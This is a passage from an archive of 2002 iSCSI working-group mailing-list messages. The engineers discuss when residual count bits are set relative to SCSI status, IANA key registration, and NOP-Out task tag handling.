plugfest4 issues X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 2 Aug 2002 08:55:03 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 02/08/2002 08:55:13, Serialize complete at 02/08/2002 08:55:13 Content-Type: multipart/alternative; boundary="=_alternative 001FD6C9C2256C09_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001FD6C9C2256C09_= Content-Type: text/plain; charset="us-ascii" Santosh, I may change the words - thanks - but that will not solve the issue raised - that is when are the bits set in relation to the status. Julo Santosh Rao Sent by: santoshr@hpcuhe.cup.hp.com 08/01/2002 08:11 PM To: Julian Satran/Haifa/IBM@IBMIL cc: IPS Reflector , Robert Snively Subject: Re: iSCSI: plugfest4 issues Julian, I agree with you that the wording should be sufficient as called out in Section 9.4 description of the bits and the resid field. However, in observance of the fact that non-interopability has been noticed in this area, it may help to tighten the wording for the description of the o/O and u/U bits in the "SCSI Response" description in Section 9.4. Perhaps, the use of "MUST" directive when calling out the condition for the u/U/o/O bits to be set would help. Also, In Section 9.4.4, instead of : "The Residual Count field is only valid in the case where either the U bit or the O bit is set." I suggest : "The Residual Count field MUST be valid when either the U or the O bit is set". Similar wording for the Bi-di read residual count. Thanks, Santosh Julian Satran wrote: > > Santosh, > > I think that this behaviour should be specified by SPC3. I looked > (again) into the FCP docs and like iSCSI they do not say anything > beyond > iSCSI says. Like iSCSI they specify that the field is valid when the > Oo/Uu bits are set but nothing about how those bits relate to status. > SPC says nothing about that either (beyond that the bits set are not > necessarily an indication of error). > > Julo > > Santosh Rao > To: IPS Reflector > Sent by: , Julian > santoshr@hpcuhe.cup.hp.com Satran/Haifa/IBM@IBMIL, > rdr@io.iol.unh.edu > 08/01/2002 03:44 AM cc: Robert Snively > , T10 > Reflector > Subject: Re: iSCSI: > plugfest4 issues > > > > Julian & Robert [Russell], > > I raised the same query regarding RESID for FCP/FCP-2 this time last > year. The response I got for FCP/FCP-2 was that RESID information > shall > be valid, regardless of the scsi status returned. The RESID field, can > be checked by the scsi transport drivers independent of the SCSI > STATUS. > > I have enclosed the T10 response from Rob Snivelly below on that > issue. > As per FC-PLDA, the RESID information is valid, regardless of the scsi > status returned by the device. > > An example of this is the case of "NO SENSE" or "RECOVERED ERROR" > check > condition, when the data transfer may have taken place and a CHECK > CONDITION is returned. Also, for other CHECK CONDITION status', > partial > data transfer may have taken place and hence, resid information should > be present. > > It would be good to maintain consistent behaviour across the scsi > transports in this regard, since protocol bridging from iscsi to FCP > domain would expect RESID information in the FCP domain, regardless of > scsi status. > > This also allows scsi transports to remain free of SCSI command set > details. (ex : the scsi transport drivers do not need to parse for > CHECK > CONDITION or GOO status information.) > > Thanks, > Santosh > > ------------------------------------------------------------------------- > > Subject: Re: iSCSI: plugfest4 issues > Date: Thu, 1 Aug 2002 02:52:19 +0300 > From: "Julian Satran" > To: "Robert D. Russell" > CC: ips@ece.cmu.edu > > Bob, > > Thanks - some comments in text. Julo > > "Robert D. Russell" > > Julian: > > Four issues came up today at the iSCSI plugfest: > > 1. A question about whether or not the Residual Count field and the > appropriate O and U bits need to be computed on all SCSI Response > PDUs, regardless of the values in the Status and/or Response fields. > > One point of view says that the Residual Count field and the O and U > bits appear to be strictly iSCSI values that are derived by the > iSCSI target layer from the ExpectedDataTransferLength field of the > SCSI Command PDU and the DataSegmentLength fields of the DataIn or > DataOut PDUs sent as part of this command. Therefore ,the iSCSI > target always computes a Residual Count value without regard to the > Status and/or Response fields, since these are SCSI values. > > The other point of view says that the Residual Count field, and the > O and U bits, need only be set when the Status and Response fields > indicate that the command was completed at the target with a GOOD > Status, and the target does not have to compute or set the Residual > Count field and the O or U bits for other values of the Status and/or > Response fields. > > Which is it? In any case, could this be clarified somewhere in the > standard, most likely in section 9.4.4. > > +++ Residual count fields are in fact carrioed over from the SCSI > layer. > I know that none of the SCSI docs specifies > exactly their behavior and it strikes me as a bad idea to have > protocols > specify them. > The values should be valid any time the target decides to put them in. > > +++ > > ------------------------------------------------------------------------- > Subject: RE: FCP_RSP Residual Checking. > Date: Thu, 5 Jul 2001 13:18:42 -0700 > From: Robert Snively > To: "'Santosh Rao'" , > T10 Reflector , > Fibre Channel T11 reflector > > Robert Snively wrote: > > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > > FCP_RESID_OVER & FCP_RESID when any I/O is completed > > > without the data phase having transferred exactly > > > FCP_DL bytes, regardless of the SCSI Status being returned ? > > > > > When the target generates a CHECK CONDITION on an I/O > > > and may have returned less than FCP_DL bytes in the data > > > phase for that I/O, is it > > > required to set the FCP_RESID_UNDER to 1 and indicate the number > of > > > bytes not transferred in the FCP_RESID field? > > > > The intent is that the answer to your second question is: > > FCP_RESID should appropriately regardless of the SCSI Status > > being returned. The classic errors of that class are those > > involving successful completion with reporting, like > > the "NO SENSE" and "RECOVERED ERROR" series of errors. > > > > > > > > What is the behaviour initiators can expect under the above > > > condition ? > > > > The intent is that there be no conflict. I believe that FCP-2 > > was a bit less bald than FC-PLDA in stating the requirement. > > > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > > & FC-PLDA ? > > > > > > > Bob Snively e-mail: rsnively@brocade.com > > Brocade Communications Systems phone: 408 487 8135 > > 1745 Technology Drive > > San Jose, CA 95110 > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Thursday, July 05, 2001 12:15 PM > > > To: T10 Reflector; Fibre Channel T11 reflector > > > Subject: FCP_RSP Residual Checking. > > > > > > > > > All, > > > > > > I've got a question on target behaviour while sending a > > > CHECK CONDITION > > > SCSI status in its FCP_RSP IU. > > > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > > FCP_RESID_OVER & FCP_RESID when any I/O is completed without the > data > > > phase having transferred exactly FCP_DL bytes, regardless of the > SCSI > > > Status being returned ? > > > > > > When the target generates a CHECK CONDITION on an I/O and may > have > > > returned less than FCP_DL bytes in the data phase for that I/O, > is it > > > required to set the FCP_RESID_UNDER to 1 and indicate the number > of > > > bytes not transferred in the FCP_RESID field? > > > > > > FC-PLDA Section 8.2.4.1 states that : > > > "SCSI targets that transfer less than FCP_DL bytes during > > > the FCP_DATA > > > IUs shall set the FCP_RESID_UNDER to 1". > > > > > > No exceptions are specified in the case of a CHECK CONDITION in > the > > > above definition, implying that FCP_RSP residual checking can be > > > performed irrespective of the SCSI Status that was returned in > the > > > FCP_RSP. > > > > > > However, the wording descriptions of FCP_RESID_UNDER, > > > FCP_RESID_OVER & > > > FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as > > > FC-PLDA and do not > > > mandate that FCP_RESID_UNDER shall be set when the data > > > transferred is < > > > FCP_DL. > > > > > > What is the behaviour initiators can expect under the above > > > condition ? > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > > & FC-PLDA ? > > > > > > Thanks, > > > Santosh Rao > > > > > -- > Education is when you read the fine print. > Experience is what you get if you don't. -- Finish each day and be done with it. You have done what you could; Some blunders and absurdities have crept in; Forget them as soon as you can. Tomorrow is a new day; You shall begin it serenely and with too high a spirit to be encumbered with your old nonsense. --=_alternative 001FD6C9C2256C09_= Content-Type: text/html; charset="us-ascii"
Santosh,

I may change the words - thanks - but that will not solve the issue raised - that is when are the bits set in relation to the status.

Julo


Santosh Rao <santoshr@cup.hp.com>
Sent by: santoshr@hpcuhe.cup.hp.com

08/01/2002 08:11 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        IPS Reflector <ips@ece.cmu.edu>, Robert Snively <rsnively@brocade.com>
        Subject:        Re: iSCSI: plugfest4 issues

       


Julian,

I agree with you that the wording should be sufficient as called out in
Section 9.4 description of the bits and the resid field.

However, in observance of the fact that non-interopability has been
noticed in this area, it may help to tighten the wording for the
description of the o/O and u/U bits in the "SCSI Response" description
in Section 9.4. Perhaps, the use of "MUST" directive when calling out
the condition for the u/U/o/O bits to be set would help.

Also, In Section 9.4.4, instead of :
"The Residual Count field is only valid in the case where either the U
bit or the O bit is set."

I suggest :
"The Residual Count field MUST be valid when either the U or the O bit
is set".

Similar wording for the Bi-di read residual count.

Thanks,
Santosh


Julian Satran wrote:
>
> Santosh,
>
> I think that this behaviour should be specified by SPC3. I looked
> (again) into the FCP docs and like iSCSI they do not say anything
> beyond
> iSCSI says. Like iSCSI they specify that the field is valid when the
> Oo/Uu bits are set but nothing about how those bits relate to status.
> SPC says nothing about that either  (beyond that the bits set are not
> necessarily an indication of error).
>
> Julo
>
>  Santosh Rao
>  <santoshr@cup.hp.com>                     To:        IPS Reflector
>  Sent by:                          <ips@ece.cmu.edu>, Julian
>  santoshr@hpcuhe.cup.hp.com        Satran/Haifa/IBM@IBMIL,
>                                    rdr@io.iol.unh.edu
>  08/01/2002 03:44 AM                       cc:        Robert Snively
>                                    <rsnively@brocade.com>, T10
>                                    Reflector <t10@t10.org>
>                                            Subject:        Re: iSCSI:
>                                    plugfest4 issues
>
>
>
> Julian & Robert [Russell],
>
> I raised the same query regarding RESID for FCP/FCP-2 this time last
> year. The response I got for FCP/FCP-2 was that RESID information
> shall
> be valid, regardless of the scsi status returned. The RESID field, can
> be checked by the scsi transport drivers independent of the SCSI
> STATUS.
>
> I have enclosed the T10 response from Rob Snivelly below on that
> issue.
> As per FC-PLDA, the RESID information is valid, regardless of the scsi
> status returned by the device.
>
> An example of this is the case of "NO SENSE" or "RECOVERED ERROR"
> check
> condition, when the data transfer may have taken place and a CHECK
> CONDITION is returned. Also, for other CHECK CONDITION status',
> partial
> data transfer may have taken place and hence, resid information should
> be present.
>
> It would be good to maintain consistent behaviour across the scsi
> transports in this regard, since protocol bridging from iscsi to FCP
> domain would expect RESID information in the FCP domain, regardless of
> scsi status.
>
> This also allows scsi transports to remain free of SCSI command set
> details. (ex : the scsi transport drivers do not need to parse for
> CHECK
> CONDITION or GOO status information.)
>
> Thanks,
> Santosh
>
> -------------------------------------------------------------------------
>
> Subject: Re: iSCSI: plugfest4 issues
> Date:    Thu, 1 Aug 2002 02:52:19 +0300
> From:   "Julian Satran" <Julian_Satran@il.ibm.com>
> To:     "Robert D. Russell" <rdr@io.iol.unh.edu>
> CC:     ips@ece.cmu.edu
>
> Bob,
>
> Thanks - some comments in text. Julo
>
>  "Robert D. Russell" <rdr@io.iol.unh.edu>
>
> Julian:
>
> Four issues came up today at the iSCSI plugfest:
>
> 1. A question about whether or not the Residual Count field and the
>  appropriate O and U bits need to be computed on all SCSI Response
>  PDUs, regardless of the values in the Status and/or Response fields.
>
>  One point of view says that the Residual Count field and the O and U
>  bits appear to be strictly iSCSI values that are derived by the
>  iSCSI target layer from the ExpectedDataTransferLength field of the
>  SCSI Command PDU and the DataSegmentLength fields of the DataIn or
>  DataOut PDUs sent as part of this command.  Therefore ,the iSCSI
>  target always computes a Residual Count value without regard to the
>  Status and/or Response fields, since these are SCSI values.
>
>  The other point of view says that the Residual Count field, and the
>  O and U bits, need only be set when the Status and Response fields
>  indicate that the command was completed at the target with a GOOD
>  Status, and the target does not have to compute or set the Residual
>  Count field and the O or U bits for other values of the Status and/or
>  Response fields.
>
>  Which is it?  In any case, could this be clarified somewhere in the
>  standard, most likely in section 9.4.4.
>
> +++ Residual count fields are in fact carrioed over from the SCSI
> layer.
> I know that none of the SCSI docs specifies
> exactly their behavior and it strikes me as a bad idea to have
> protocols
> specify them.
> The values should be valid any time the target decides to put them in.
>
> +++
>
> -------------------------------------------------------------------------
> Subject: RE: FCP_RSP Residual Checking.
> Date:    Thu, 5 Jul 2001 13:18:42 -0700
> From:    Robert Snively <rsnively@brocade.com>
> To:      "'Santosh Rao'" <santoshr@cup.hp.com>,
>         T10 Reflector <t10@t10.org>,
>         Fibre Channel T11 reflector <fc@network.com>
>
> Robert Snively wrote:
> >
> > >  Is the target required to initialize the fields FCP_RESID_UNDER,
> > >  FCP_RESID_OVER & FCP_RESID when any I/O is completed
> > >  without the data phase having transferred exactly
> > >  FCP_DL bytes, regardless of the SCSI Status being returned ?
> >
> > >  When the target generates a CHECK CONDITION on an I/O
> > >  and may have returned less than FCP_DL bytes in the data
> > >  phase for that I/O, is it
> > >  required to set the FCP_RESID_UNDER to 1 and indicate the number
> of
> > >  bytes not transferred in the FCP_RESID field?
> >
> > The intent is that the answer to your second question is:
> > FCP_RESID should appropriately regardless of the SCSI Status
> > being returned.  The classic errors of that class are those
> > involving successful completion with reporting, like
> > the "NO SENSE" and "RECOVERED ERROR" series of errors.
> >
> > >
> > >  What is the behaviour initiators can expect under the above
> > >  condition ?
> >
> > The intent is that there be no conflict.  I believe that FCP-2
> > was a bit less bald than FC-PLDA in stating the requirement.
> >
> > >  Is there a conflict in the behaviours described by FCP/FCP-2
> > >  & FC-PLDA ?
> > >
> >
> > Bob Snively                        e-mail:    rsnively@brocade.com
> > Brocade Communications Systems     phone:  408 487 8135
> > 1745 Technology Drive
> > San Jose, CA 95110
> >
> > >  -----Original Message-----
> > >  From: Santosh Rao [mailto:santoshr@cup.hp.com]
> > >  Sent: Thursday, July 05, 2001 12:15 PM
> > >  To: T10 Reflector; Fibre Channel T11 reflector
> > >  Subject: FCP_RSP Residual Checking.
> > >
> > >
> > >  All,
> > >
> > >  I've got a question on target behaviour while sending a
> > >  CHECK CONDITION
> > >  SCSI status in its FCP_RSP IU.
> > >
> > >  Is the target required to initialize the fields FCP_RESID_UNDER,
> > >  FCP_RESID_OVER & FCP_RESID when any I/O is completed without the
> data
> > >  phase having transferred exactly FCP_DL bytes, regardless of the
> SCSI
> > >  Status being returned ?
> > >
> > >  When the target generates a CHECK CONDITION on an I/O and may
> have
> > >  returned less than FCP_DL bytes in the data phase for that I/O,
> is it
> > >  required to set the FCP_RESID_UNDER to 1 and indicate the number
> of
> > >  bytes not transferred in the FCP_RESID field?
> > >
> > >  FC-PLDA Section 8.2.4.1 states that :
> > >  "SCSI targets that transfer less than FCP_DL bytes during
> > >  the FCP_DATA
> > >  IUs shall set the FCP_RESID_UNDER to 1".
> > >
> > >  No exceptions are specified in the case of a CHECK CONDITION in
> the
> > >  above definition, implying that FCP_RSP residual checking can be
> > >  performed irrespective of the SCSI Status that was returned in
> the
> > >  FCP_RSP.
> > >
> > >  However, the wording descriptions of FCP_RESID_UNDER,
> > >  FCP_RESID_OVER &
> > >  FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as
> > >  FC-PLDA and do not
> > >  mandate that FCP_RESID_UNDER shall be set when the data
> > >  transferred is <
> > >  FCP_DL.
> > >
> > >  What is the behaviour initiators can expect under the above
> > >  condition ?
> > >  Is there a conflict in the behaviours described by FCP/FCP-2
> > >  & FC-PLDA ?
> > >
> > >  Thanks,
> > >  Santosh Rao
> > >
>
> --
> Education is when you read the fine print.
> Experience is what you get if you don't.

--
Finish each day and be done with it.  You have done what you could;
Some blunders and absurdities have crept in; Forget them as soon as you
can.
Tomorrow is a new day; You shall begin it serenely and with too high a
spirit
to be encumbered with your old nonsense.

--=_alternative 001FD6C9C2256C09_=-- From owner-ips@ece.cmu.edu Fri Aug 2 03:11:32 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10185 for ; Fri, 2 Aug 2002 03:11:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g726SPa15898 for ips-outgoing; Fri, 2 Aug 2002 02:28:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g726SOo15894 for ; Fri, 2 Aug 2002 02:28:24 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g726SAq6023098; Fri, 2 Aug 2002 08:28:10 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g726S96F032348; Fri, 2 Aug 2002 08:28:09 +0200 To: Bill Studenmund Cc: ips@ece.cmu.edu, Steve Senum MIME-Version: 1.0 Subject: Re: iSCSI - working draft and IANA X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 2 Aug 2002 09:28:10 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 02/08/2002 09:28:09, Serialize complete at 02/08/2002 09:28:09 Content-Type: multipart/alternative; boundary="=_alternative 0022B8A3C2256C09_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0022B8A3C2256C09_= Content-Type: text/plain; charset="us-ascii" Reading the proposed text would help the discussion. The extended keys are supposed to have an X# in front to avoid any colision with current or future versions of iSCSI. Julo Bill Studenmund 07/31/2002 12:18 AM To: Julian Satran/Haifa/IBM@IBMIL cc: Steve Senum , Subject: Re: iSCSI - working draft and IANA On Tue, 30 Jul 2002, Julian Satran wrote: > Registering the current keys is an issue already raised by Mallikarjun. > The only think I can comment about is that I don't see what we stand to > gain (and I can cleraly see the pain!). I think what we stand to gain is that then the IANA folks know what has already registered, so that someone can't register a name in the spec. Or so that the spec can't later start using names already registered. This discussion is assuming that the space open for IANA registration is not contrained to exclude keys already in the spec. Take care, Bill --=_alternative 0022B8A3C2256C09_= Content-Type: text/html; charset="us-ascii"
Reading the proposed text would help the discussion.
The extended keys are supposed to have an X# in front to avoid any colision with current or future versions of iSCSI.

Julo


Bill Studenmund <wrstuden@wasabisystems.com>

07/31/2002 12:18 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        Steve Senum <ssenum@cisco.com>, <ips@ece.cmu.edu>
        Subject:        Re: iSCSI - working draft and IANA

       


On Tue, 30 Jul 2002, Julian Satran wrote:

> Registering the current keys is an issue already raised by Mallikarjun.
> The only think I can comment about is that I don't see what we stand to
> gain (and I can cleraly see the  pain!).

I think what we stand to gain is that then the IANA folks know what has
already registered, so that someone can't register a name in the spec.
Or so that the spec can't later start using names already registered.

This discussion is assuming that the space open for IANA registration is
not contrained to exclude keys already in the spec.

Take care,

Bill

--=_alternative 0022B8A3C2256C09_=-- From owner-ips@ece.cmu.edu Fri Aug 2 05:15:47 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA11893 for ; Fri, 2 Aug 2002 05:15:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g728XLD19628 for ips-outgoing; Fri, 2 Aug 2002 04:33:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from magic.adaptec.com (magic.adaptec.com [208.236.45.80]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g728XJo19624 for ; Fri, 2 Aug 2002 04:33:20 -0400 (EDT) Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11]) by magic.adaptec.com (8.10.2+Sun/8.10.2) with ESMTP id g728XDG12447 for ; Fri, 2 Aug 2002 01:33:14 -0700 (PDT) Received: from aimexc02.corp.adaptec.com (aimexc02.corp.adaptec.com [162.62.62.40]) by redfish.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id BAA08941 for ; Fri, 2 Aug 2002 01:33:13 -0700 (PDT) Received: by aimexc02.corp.adaptec.com with Internet Mail Service (5.5.2653.19) id ; Fri, 2 Aug 2002 01:33:12 -0700 Message-ID: From: "Rao, Sajjan" To: ips@ece.cmu.edu Subject: Clarification in NOP's Date: Fri, 2 Aug 2002 01:33:06 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C239FF.3980EEF0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C239FF.3980EEF0 Content-Type: text/plain Hi, If in a NOP-Out ITT field contains 0xFFFFFFFF, then the draft says the CmdSN contains the next CmdSN, However the CmdSN is not advanced and the I bit should be 1. Does it mean that, if In a NOP-Out ITT is 0xFFFFFFFF then I bit should be set 1, and hence the CmdSN is not advanced, so what should a target do in a case where the ITT is 0xFFFFFFFF and I is not set to 1, is it an error? The initiator can expect a NOP-In only if the ITT value is valid, so what does a target do when ITT is 0xFFFFFFFF and I = 1? Thanx in advance, - Sajjan ------_=_NextPart_001_01C239FF.3980EEF0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable

Hi,

       &nbs= p;    If in a NOP-Out ITT field contains 0xFFFFFFFF, then the draft says the = CmdSN contains the next CmdSN, However the CmdSN is not advanced and the I bit should be 1.

       &nbs= p;    Does it mean that, if In a NOP-Out ITT is 0xFFFFFFFF then I bit should be = set 1, and hence the CmdSN is not advanced, so what = should a target do in a case where the ITT is 0xFFFFFFFF and I is not set to 1, = is it an error?

The initiator can expect a NOP-In only if the ITT = value is valid, so what does a target do when ITT is 0xFFFFFFFF and I =3D = 1?

 

Thanx<= font size=3D2 face=3DArial> in = advance,

- Sajjan

------_=_NextPart_001_01C239FF.3980EEF0-- From owner-ips@ece.cmu.edu Fri Aug 2 13:12:33 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27103 for ; Fri, 2 Aug 2002 13:12:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g72GTgT22878 for ips-outgoing; Fri, 2 Aug 2002 12:29:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g72GTfo22874 for ; Fri, 2 Aug 2002 12:29:41 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g72GTV2E050284 for ; Fri, 2 Aug 2002 18:29:35 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g72GTV6F063086 for ; Fri, 2 Aug 2002 18:29:31 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: iSCSI - ANA X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 2 Aug 2002 19:29:32 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 02/08/2002 19:29:30, Serialize complete at 02/08/2002 19:29:30 Content-Type: multipart/alternative; boundary="=_alternative 005A5DC0C2256C09_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 005A5DC0C2256C09_= Content-Type: text/plain; charset="us-ascii" Dear all, Please have a look at the expanded IANA section. It has registration procedure picked up from the MIME registration. I assume the process is acceptable although it might need wordsmithing. I am not convinced that registering the current keys has some value (I can see only the drawbacks) so I did not put it in. A central repository might have value if it would contain anything beyond the string. For keys it does not look that it will. But I am still listening. Julo --=_alternative 005A5DC0C2256C09_= Content-Type: text/html; charset="us-ascii"
Dear all,

Please have a look at the expanded IANA section. It has registration procedure picked up from the
MIME registration.  I assume the process is acceptable although it might need wordsmithing.

I am not convinced that registering the current keys has some value (I can see only the drawbacks) so I did not put it in.

A central repository might have value if it would contain anything beyond the string.

For keys it does not look that it will.

But I am still listening.

Julo --=_alternative 005A5DC0C2256C09_=-- From owner-ips@ece.cmu.edu Fri Aug 2 19:27:50 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11209 for ; Fri, 2 Aug 2002 19:27:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g72N3Rb12976 for ips-outgoing; Fri, 2 Aug 2002 19:03:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g72N3Qo12972 for ; Fri, 2 Aug 2002 19:03:26 -0400 (EDT) Received: by MAHO3MSX2 with Internet Mail Service (5.5.2653.19) id ; Fri, 2 Aug 2002 19:03:21 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C168@CORPMX14> From: Black_David@emc.com To: sajjan_rao@adaptec.com, ips@ece.cmu.edu Subject: RE: Clarification in NOP's Date: Fri, 2 Aug 2002 19:03:18 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > If in a NOP-Out ITT field contains 0xFFFFFFFF, then the > draft says the CmdSN contains the next CmdSN, However the CmdSN is > not advanced and the I bit should be 1. Current working draft says: If the Initiator Task Tag contains 0xffffffff the I bit must be set to 1 and the CmdSN is not advanced after this PDU is sent. And that "must" probably ought to be a MUST .... > Does it mean that, if In a NOP-Out ITT is 0xFFFFFFFF then I > bit should be set 1, and hence the CmdSN is not advanced, so what should > a target do in a case where the ITT is 0xFFFFFFFF and I is not set to 1, > is it an error? Yes. > The initiator can expect a NOP-In only if the ITT value is valid, so > what does a target do when ITT is 0xFFFFFFFF and I = 1? It's at least a Protocol Error and could be considered a Format Error. Issuing a Reject PDU with Reason 0x09 (Invalid PDU field) is preferable to closing the connection due to getting the I bit wrong in a NOP, although the latter is permissible (Section 5.6). Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Aug 2 19:31:21 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11338 for ; Fri, 2 Aug 2002 19:31:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g72MpBe12504 for ips-outgoing; Fri, 2 Aug 2002 18:51:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mailhub.lss.emc.com (xdch.emc.com [168.159.1.79]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g72Mp9o12500 for ; Fri, 2 Aug 2002 18:51:09 -0400 (EDT) Received: from emc.com (emcmail.lss.emc.com [168.159.48.78]) by mailhub.lss.emc.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g72Mox523364; Fri, 2 Aug 2002 18:50:59 -0400 (EDT) Received: from mxic1.isus.emc.com ([168.159.129.100]) by emc.com (8.10.1/8.10.1) with ESMTP id g72Mow706888; Fri, 2 Aug 2002 18:50:58 -0400 (EDT) Received: by MXIC1 with Internet Mail Service (5.5.2653.19) id ; Fri, 2 Aug 2002 18:50:58 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C167@CORPMX14> From: Black_David@emc.com To: Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Date: Fri, 2 Aug 2002 18:50:55 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23A77.0F353660" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C23A77.0F353660 Content-Type: text/plain; charset="iso-8859-1" Julian, Matching FCP's wording resulted in a "go ask the expert" algorithm for figuring out what is required - we ought to do better, and this is an iSCSI protocol issue. What I'm looking for in 9.4 is: - Bits 3-6 (o, u, O, U) MAY be set by the Target and SHOULD be checked by the Initiator when the Response is "Command Completed at Target" no matter what the value of the Status field is. - SCSI permits Residual Counts to be returned for Status values other than GOOD; see [SPC2]. I believe that both of these are implied by the current text, but since this caused confusion at the plugfest, we ought to spell it out. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 02, 2002 1:43 AM To: Black_David@emc.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues David, We DO EXACTLY what FCP did - say nothing. I went through the document - thetre is no relation mentioned and that is what we do too. In any case we cannot enforce a SCSI behavior. The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI. I also suspect that the trouble may be deeper than we think and I find it much more prudent to say nothing (again as FCP did). Julo Black_David@emc.com 08/01/2002 05:56 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Julian, I think we need to do something here, as there are clearly situations in which the residual count is important for commands that complete with other than good status, making the "other point of view" reported by Robert Russell incorrect. Waiting for SPC-3 to do something to clarify this isn't going to do much for iSCSI interoperability in the short term. Since Bob Snively was the 